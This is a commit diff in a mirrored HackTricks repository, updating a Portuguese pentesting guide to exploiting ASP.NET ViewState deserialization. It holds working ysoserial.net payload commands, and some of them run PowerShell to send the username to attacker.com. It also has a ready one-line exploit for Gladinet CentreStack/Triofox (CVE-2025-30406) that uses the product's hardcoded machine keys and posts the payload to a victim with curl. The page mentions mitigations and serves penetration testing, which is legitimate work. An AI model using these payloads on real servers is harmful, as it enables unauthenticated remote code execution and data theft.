mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
359dc7963b
commit
0abf9ec3ee
@ -6,7 +6,7 @@
|
||||
|
||||
## O que é ViewState
|
||||
|
||||
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
|
||||
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ocultos de ViewState.
|
||||
|
||||
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
|
||||
|
||||
@ -34,7 +34,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Identificando Atributos ViewState**
|
||||
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
@ -42,11 +42,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
|
||||
Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
|
||||
Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
|
||||
No entanto, esse não é o caso. Se adicionarmos o **parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
|
||||
No entanto, esse não é o caso. Se **adicionarmos o parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Para **habilitar ViewState MAC** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
|
||||
Para **habilitar o ViewState MAC** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
@ -108,17 +108,17 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
|
||||
```
|
||||
### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
|
||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Chave da Máquina para criptografar seu payload** para explorar a vulnerabilidade.
|
||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
|
||||
|
||||
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
||||
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Sempre**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
|
||||
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||
|
||||
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
|
||||
|
||||
### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos para false
|
||||
### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
|
||||
|
||||
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
|
||||
```xml
|
||||
@ -151,7 +151,7 @@ Uma vez que uma chave de máquina válida é identificada, **o próximo passo é
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Se você tem o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
|
||||
Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
|
||||
|
||||

|
||||
|
||||
@ -166,7 +166,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
|
||||
```
|
||||
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
|
||||
|
||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, então o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
|
||||
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
@ -188,7 +188,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
@ -200,8 +200,46 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
||||
|
||||
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
|
||||
|
||||
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 – Fev 2025)
|
||||
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens em blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir limites de comprimento do WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Chaves codificadas de Gladinet CentreStack / Triofox
|
||||
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).
|
||||
|
||||
Exploit em uma linha:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
Corrigido no CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – atualize ou substitua as chaves imediatamente. {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user